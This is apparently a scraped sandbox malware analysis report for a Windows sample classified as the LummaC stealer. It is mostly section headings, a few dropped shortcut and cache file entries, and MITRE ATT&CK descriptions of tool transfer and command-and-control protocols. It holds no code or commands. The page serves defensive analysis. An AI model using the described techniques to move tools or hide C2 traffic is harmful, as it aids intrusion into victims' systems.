Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 7jKx8dPOEs.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: LummaC

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Phishing

Compliance

Networking

System Summary

Data Obfuscation

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

LLM Input / Output

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk

Chrome Cache Entry: 100

Chrome Cache Entry: 101

Chrome Cache Entry: 102

Chrome Cache Entry: 103

Chrome Cache Entry: 104

Chrome Cache Entry: 105

Chrome Cache Entry: 106

Windows Analysis Report
7jKx8dPOEs.exe

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre